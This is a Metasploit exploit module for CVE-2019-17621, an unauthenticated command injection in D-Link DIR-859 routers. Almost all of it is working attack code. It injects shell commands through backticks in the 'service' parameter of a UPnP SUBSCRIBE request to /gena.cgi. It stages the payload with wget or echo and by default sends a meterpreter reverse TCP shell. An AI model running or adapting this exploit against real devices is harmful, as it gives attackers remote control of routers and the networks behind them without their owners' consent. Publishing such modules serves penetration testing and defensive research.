D-Link DIR-859 Unauthenticated Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link DIR-859 Unauthenticated Remote Command Execution',  
'Description' => %q{  
D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP  
interface. The vulnerability exists in /gena.cgi (function genacgi_main() in  
/htdocs/cgibin), which is accessible without credentials.  
},  
'Author' =>  
[  
'Miguel Mendez Z., @s1kr10s', # Vulnerability discovery and initial exploit  
'Pablo Pollanco P.' # Vulnerability discovery and metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2019-17621' ],  
[ 'URL', 'https://medium.com/@s1kr10s/d94b47a15104' ]  
],  
'DisclosureDate' => 'Dec 24 2019',  
'Privileged' => true,  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE,  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'wget',  
'RPORT' => '49152'  
},  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'CmdStagerFlavor' => %w{ echo wget },  
'DefaultTarget' => 0,  
))  
  
end  
  
def execute_command(cmd, opts)  
callback_uri = "http://192.168.0." + Rex::Text.rand_text_hex(2).to_i(16).to_s +  
":" + Rex::Text.rand_text_hex(4).to_i(16).to_s +  
"/" + Rex::Text.rand_text_alpha(3..12)  
begin  
send_request_raw({  
'uri' => "/gena.cgi?service=`#{cmd}`",  
'method' => 'SUBSCRIBE',  
'headers' =>  
{  
'Callback' => "<#{callback_uri}>",  
'NT' => 'upnp:event',  
'Timeout' => 'Second-1800',  
},  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")  
end  
end  
  
def exploit  
execute_cmdstager(linemax: 500)  
end  
end  
`